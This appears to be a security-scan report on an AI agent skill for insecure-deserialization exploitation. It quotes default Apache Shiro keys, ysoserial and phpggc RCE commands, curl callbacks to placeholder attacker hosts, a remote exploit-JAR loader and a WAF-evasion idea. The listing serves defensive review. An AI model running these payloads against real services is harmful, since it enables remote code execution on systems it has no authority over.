The Agent Skills Directory

[CREDENTIALS_UNSAFE]: The skill contains several hardcoded cryptographic keys used for Apache Shiro's rememberMe cookie deserialization.
Evidence in SKILL.md: kPH+bIxk5D2deZiIxcaaaA==, wGJlpLanyXlVB1LUUWolBg==, 4AvVhmFLUs0KTA3Kprsdag==, and Z3VucwAAAAAAAAAAAAAAAA==. These are known default keys for CVE-2016-4437 used in security testing.
[REMOTE_CODE_EXECUTION]: Provides numerous payload templates that demonstrate how to achieve RCE on vulnerable targets.
Evidence in SKILL.md: Examples like curl http://ATTACKER/pwned, phpggc Laravel/RCE1 system id, and java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned".
Evidence in JAVA_GADGET_CHAINS.md: Instructions for loading malicious JAR files via URLClassLoader using !!java.net.URL ["http://attacker.com/exploit.jar"].
[COMMAND_EXECUTION]: Lists various shell commands for utilizing exploitation tools and scanners.
Evidence in SKILL.md: Commands for nmap, ysoserial, phpggc, and ysoserial.net to probe and exploit remote services.
[OBFUSCATION]: Describes a technique called 'Ghost Bits' designed to evade WAF (Web Application Firewall) fingerprinting by manipulating bytecode representation.
Evidence in SKILL.md: The skill explains how to wrap bytecode bytes in Unicode characters to bypass security filters.
[DYNAMIC_EXECUTION]: Contains code snippets that demonstrate the creation and execution of dynamic code through deserialization sinks.
Evidence in SKILL.md: A Python one-liner for generating a pickle RCE payload and a Node.js IIFE (Immediately Invoked Function Expression) pattern for node-serialize exploitation.
[EXTERNAL_DOWNLOADS]: References external proof-of-concept URLs and collaboration tools for DNS-based detection.
Evidence in SKILL.md and JAVA_GADGET_CHAINS.md: References to burpcollaborator.net, dnslog.cn, and attacker.com for payload delivery and callback testing.

deserialization-insecure